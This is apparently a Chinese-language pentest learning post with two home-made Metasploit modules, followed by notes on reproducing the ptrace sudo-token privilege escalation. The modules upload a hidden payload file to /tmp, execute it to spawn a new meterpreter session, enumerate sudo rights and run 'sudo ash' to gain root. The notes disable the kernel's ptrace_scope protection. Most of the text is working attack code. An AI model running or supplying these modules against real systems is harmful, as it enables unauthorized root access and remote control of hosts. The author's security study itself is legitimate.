02-建立一个新的session

msf 建立一个新的session

new_session.rb

作用是建立一个新的meterpreter session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'new meterpreter session',
'Description' => %q{
generate new meterpreter session
},
'License' => MSF_LICENSE,
'Author' =>
[
'whale3070' # Metasploit
],
'DisclosureDate' => '2019-03-24',
'Platform' => ['linux'],
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'DefaultOptions' =>
{
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true,
'WfsDelay' => 30
},
'DefaultTarget' => 0))
register_options [
OptInt.new('TIMEOUT', [true, 'Process injection timeout (seconds)', '30'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def timeout
datastore['TIMEOUT']
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def exploit
# Upload payload
@payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
upload @payload_path, generate_payload_exe
end

def on_new_session(session)
if session.type.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.fs.file.rm @payload_path
else
session.shell_command_token "rm -f '#{@payload_path}'"
end
ensure
super
end
end

todo: 参考exploit/linux/local/ptrace_sudo_token_priv_esc,编写一个check函数,进行提权检查,然后run函数,进行提权利用。

sudo提权模块

写了一天,本来打算提权成功以后,获得一个root权限的meterpreter session,但是失败了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

include Msf::Post::File
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::Priv
include Msf::Auxiliary::Report
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
#include Msf::Exploit::Local

def initialize(info = {})
super(update_info(info,
'Name' => 'Sudo Commands',
'Description' => %q{
This module examines the sudoers configuration for the session user
and lists the commands executable via sudo.

This module also inspects each command and reports potential avenues
for privileged code execution due to poor file system permissions or
permitting execution of executables known to be useful for privesc,
such as utilities designed for file read/write, user modification,
or execution of arbitrary operating system commands.

Note, you may need to provide the password for the session user.
},
'License' => MSF_LICENSE,
'Author' => [ 'whale3070' ],
'Platform' => [ 'bsd', 'linux', 'osx', 'solaris', 'unix' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
))
register_options [
OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', '/usr/bin/sudo' ]),
OptString.new('PASSWORD', [ false, 'Password for the current user', '' ]),
OptInt.new('TIMEOUT', [true, 'Process injection timeout (seconds)', '30'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def sudo_path
datastore['SUDO_PATH'].to_s
end

def base_dir
datastore['WritableDir'].to_s
end

def timeout
datastore['TIMEOUT']
end

def password
datastore['PASSWORD'].to_s
end

def is_executable?(path)
cmd_exec("test -x '#{path}' && echo true").include? 'true'
end

def eop_bins
%w[
ash bash
]
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

#
# Check if a sudo command offers prvileged code execution
#
def check_eop(cmd)
# drop args for simplicity (at the risk of false positives)
cmd = cmd.split(/\s/).first

if cmd.eql? 'ALL'
print_good 'sudo any command!'
return true
end

base_dir = File.dirname cmd
base_name = File.basename cmd

if file_exist? cmd
if writable? cmd
print_good "#{cmd} is writable!"
return true
end
elsif writable? base_dir
print_good "#{cmd} does not exist and #{base_dir} is writable!"
return true
end

if eop_bins.include? base_name
print_good "#{cmd} matches known privesc executable '#{base_name}' !" #shell session type executing sudo ash command
if cmd.start_with? '/bin/ash'
cmd_exec("sudo ash")
print_good "executing sudo ash"
#print_good "spawn new meterpreter session..."
#@payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
#upload @payload_path, generate_payload_exe
#res = cmd_exec "#{@payload_path} & echo "
#vprint_line res
else
puts "/bin/ash not found!"
end
return true
end

false
end

#
# Retrieve list of sudo commands for current session user
#
def sudo_list
# try non-interactive (-n) without providing a password
cmd = "#{sudo_path} -n -l"
vprint_status "Executing: #{cmd}"
output = cmd_exec(cmd).to_s

if output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')
# try with a password from stdin (-S)
cmd = "echo #{password} | #{sudo_path} -S -l"
vprint_status "Executing: #{cmd}"
output = cmd_exec(cmd).to_s
end

output
end

#
# Format sudo output and extract permitted commands
#
def parse_sudo(sudo_data)
cmd_data = sudo_data.scan(/may run the following commands.*?$(.*)\z/m).flatten.first

# remove leading whitespace from each line and remove linewraps
formatted_data = ''
cmd_data.split("\n").reject { |line| line.eql?('') }.each do |line|
formatted_line = line.gsub(/^\s*/, '').to_s
if formatted_line.start_with? '('
formatted_data << "\n#{formatted_line}"
else
formatted_data << " #{formatted_line}"
end
end

formatted_data.split("\n").reject { |line| line.eql?('') }.each do |line|
run_as = line.scan(/^\((.+?)\)/).flatten.first

if run_as.blank?
print_warning "Could not parse sudoers entry: #{line.inspect}"
next
end

user = run_as.split(':')[0].to_s.strip || ''
group = run_as.split(':')[1].to_s.strip || ''
no_passwd = false

cmds = line.scan(/^\(.+?\) (.+)$/).flatten.first
if cmds.start_with? 'NOPASSWD:'
no_passwd = true
cmds = cmds.gsub(/^NOPASSWD:\s*/, '')
end

# Commands are separated by commas but may also contain commas (escaped with a backslash)
# so we temporarily replace escaped commas with some junk
# later, we'll replace each instance of the junk with a comma
junk = Rex::Text.rand_text_alpha(10)
cmds = cmds.gsub('\, ', junk)

cmds.split(', ').each do |cmd|
cmd = cmd.gsub(junk, ', ').strip

if cmd.start_with? '('
run_as = cmd.scan(/^\((.+?)\)/).flatten.first

if run_as.blank?
print_warning "Could not parse sudo command: #{cmd.inspect}"
next
end

user = run_as.split(':')[0].to_s.strip || ''
group = run_as.split(':')[1].to_s.strip || ''
cmd = cmd.scan(/^\(.+?\) (.+)$/).flatten.first
end

msg = "Command: #{cmd.inspect}"
msg << " RunAsUsers: #{user}" unless user.eql? ''
msg << " RunAsGroups: #{group}" unless group.eql? ''
msg << ' without providing a password' if no_passwd
vprint_status msg

eop = check_eop cmd

@results << [cmd, user, group, no_passwd ? '' : 'True', eop ? 'True' : '']
end
end
rescue => e
print_error "Could not parse sudo ouput: #{e.message}"
end

def exploit
# Upload payload
print_good "spawn new meterpreter session..."
@payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
upload @payload_path, generate_payload_exe
end

def run
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless is_executable? sudo_path
print_error 'Could not find sudo executable'
return
end

output = sudo_list
vprint_line output
vprint_line

if output.include? 'Sorry, try again'
fail_with Failure::NoAccess, 'Incorrect password'
end

if output =~ /^Sorry, .* may not run sudo/
fail_with Failure::NoAccess, 'Session user is not permitted to execute any commands with sudo'
end

if output !~ /may run the following commands/
fail_with Failure::NoAccess, 'Incorrect password, or the session user is not permitted to execute any commands with sudo'
end

@results = Rex::Text::Table.new(
'Header' => 'Sudo Commands',
'Indent' => 2,
'Columns' =>
[
'Command',
'RunAsUsers',
'RunAsGroups',
'Password?',
'Privesc?'
]
)

parse_sudo output

if @results.rows.empty?
print_status 'Found no sudo commands for the session user'
return
end

print_line
print_line @results.to_s

path = store_loot(
'sudo.commands',
'text/csv',
session,
@results.to_csv,
'sudo.commands.txt',
'Sudo Commands'
)

print_good "Output stored in: #{path}"

if session.type.eql? 'meterpreter'
puts "This sessions is meterpreter session."
exploit

print_status 'Executing payload...'
res = cmd_exec "#{@payload_path} & echo "
vprint_line res
else
puts "maybe shell session types"
exploit
print_status 'Executing payload...'
res = cmd_exec "#{@payload_path} & echo "
vprint_line res
end
end

def on_new_session(session)
if session.type.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.fs.file.rm @payload_path
else
session.shell_command_token "rm -f '#{@payload_path}'"
end
ensure
super
end
end

参考的模块exploit/linux/local/ptrace_sudo_token_priv_esc

复现sudo令牌窃取提权——ptrace Sudo Token Privilege Escalation

漏洞原理

https://onestraw.github.io/linux/ptrace-hack/

ptrace系统调从名字上看是用于进程跟踪的,它提供了父进程可以观察和控制其子进程执行的能力,并允许父进程检查和替换子进程的内核镜像(包括寄存器)的值。

漏洞复现

echo 0 > /proc/sys/kernel/yama/ptrace_scope

sudo ls

输入密码

普通用户输入sudo的密码,就可以使用exploit/linux/local/ptrace_sudo_token_priv_esc进行提权了。提权成功会返回一个root权限的meterpreter session

下一步计划

重写new_session模块,添加提权函数